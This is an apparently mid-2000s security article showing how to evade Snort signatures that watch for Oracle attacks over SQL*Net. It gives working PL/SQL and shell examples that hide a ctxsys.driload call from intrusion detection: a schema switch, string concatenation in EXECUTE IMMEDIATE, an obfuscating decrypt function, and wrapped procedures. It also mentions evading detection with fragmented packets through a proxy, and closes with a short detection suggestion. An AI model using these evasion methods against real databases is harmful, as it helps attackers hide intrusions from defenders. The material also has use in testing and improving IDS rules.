Oracle Database IDS Evasion Tecniques for SQL*Net

Almost any IDS software comes with signatures to catch the most common attacks launched against Oracle databases. The majority of these (if not all) relies on signatures but this technique is not, in my opinion, reliable. In the following lines I will try to explain how to circunvent, in example, Snort rules for Oracle database.

In this brief document I will not touch web applications, only evasion techniques valid under SQL*Net communications.

Certain Strings

The snort's rule "3657 - ORACLE ctxsys.driload attempt" search for the string CTXYS.DRILOAD in the sended command. The most easy way to circunvent this is by doing the following:

```
SQL> --Change the current "schema" to the CTXYS
SQL> ALTER SESSION SET CURRENT_SCHEMA = CTXSYS;
Session altered
(...Send various stupid commands such as SELECT SYSDATE FROM DUAL if you want...)
SQL> BEGIN
SQL> DRILOAD.VALIDATE_STMT('bla');
SQL> END;
```

Because snort's rule 3657 relies only in searching the word CTXSYS.DRILOAD no alert will be fired. First evasion technique.

Dynamic SQL

Oracle offers various ways to execute SQL commands "on the fly". The most commonly (or the uniques?) used ways are DBMS_SQL and EXECUTE IMMEDIATE. This can be used, of course, to circunvent another time the snort's rule as simply as you can see:

Example 1:

```
BEGIN
EXECUTE IMMEDIATE 'BEGIN CTX' || 'SYS.DRI' || 'LOAD.VALIDATE_' ||
                     ' STMT(''bla''); END;';
END;
```

Example 2:

```
DECLARE
 V_OWNER VARCHAR2(20);
 V_PACKAGE VARCHAR2(20);
```

```
BEGIN
 V_OWNER := ‘CTXSYS’;
 V_PACKAGE := ‘DRILOAD’;

 EXECUTE IMMEDIATE ‘BEGIN ‘ ||V_OWNER ||’.’||V_PACKAGE ||
                        ‘(’’BLA’’); END;’;
END;
```

Even in the (hipotethical) case that snort’s correlationate the strings there are another ways to make it impossible to detect with signature based systems.

```
DECLARE
  V_TEXT VARCHAR2(1000);

  FUNCTION DECRYPT ( V_X VARCHAR2 )
  RETURN VARCHAR2
  IS
  BEGIN
    RETURN(REPLACE(REPLACE(V_X, '@','X'), '#', 'Y'));
  END;
BEGIN
  V_TEXT := 'BEGIN CT@S#S.DRILOAD.VALIDATE_STMT(''BLA''); END;';
  V_TEXT := DECRYPT(V_TEXT);

  EXECUTE IMMEDIATE V_TEXT;
END;
```

It’s only an stupid example, you can create a more complicated function to do this. But, anyway, this method can be catched by creating a simple rule that catches ‘EXECUTE IMMEDIATE’ statements or the use of ‘DBMS_SQL’ (used for the same purpose) so an snort’s alert should be rised. To avoid detection we can use another method.

Wrapped SQL

Oracle PL/SQL source can be wrapped (something similar to encryption) so, to evade detection of the word which we don’t want to detect we can do something like the following:

```
-bash-3.00$ cat test.sql
create or replace procedure aa
is
begin
 execute immediate 'begin ctxsys.driload.validate_stmt(''bla''); end;';
end;
```

```
-bash-3.00$ wrap iname=test.sql
PL/SQL Wrapper: Release 10.2.0.2.0- Production on Tue Aug 22 18:51:29 2006
Copyright (c) 1993, 2004, Oracle.  All rights reserved.

Processing test.sql to test.plb
-bash-3.00$ cat test.plb
create or replace procedure aa wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
66 ae
2pvSA7gd9m+8yV7HLvNke1RlOlgwg5nnm7+fMr2ywFxaWV2bdIvAwDL+0oYJuPC4MsuyUlyl
0oEyMgj1NsJ3twnrgk6O8QzFGNVtgQkYZcebtl7Sl9PHZV7TDAmGbQzADCF3PbfA0z09KjuU
CU4J2D07lI5TcXNx2L4EpraiHDY=
/
-bash-3.00$ sqlplus /nolog
SQL*Plus: Release 10.2.0.2.0 - Production on Tue Aug 22 18:51:33 2006
Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.
SQL> conn test/test
Connected.
SQL> @test.plb
Procedure created.
SQL> exec aa();
 ERROR at line 1:
 ORA-06510: PL/SQL: unhandled user-defined exception
 ORA-06512: at "CTXSYS.DRILOAD", line 42
 ORA-01003: no statement parsed
 ORA-06512: at line 1
```

We can also “evade” the error message by simply puting our call to the procedure “aa” in simple

EXCEPTION block.

Another Very Old Possible Methods

Another method can be the following: create a proxy application between your machine and the real Oracle database server. Resend the packets to the real database server fragmented, with overlaped fragments, etc..

Possible Solution to Catch It

A simple solution to catch it is by creating a rule for “execute immediate”, “dbms_sql” and the “wrapped” words but, surely, anyone will found another way to circunvent this check made because the rule methods are not in anyway reliables.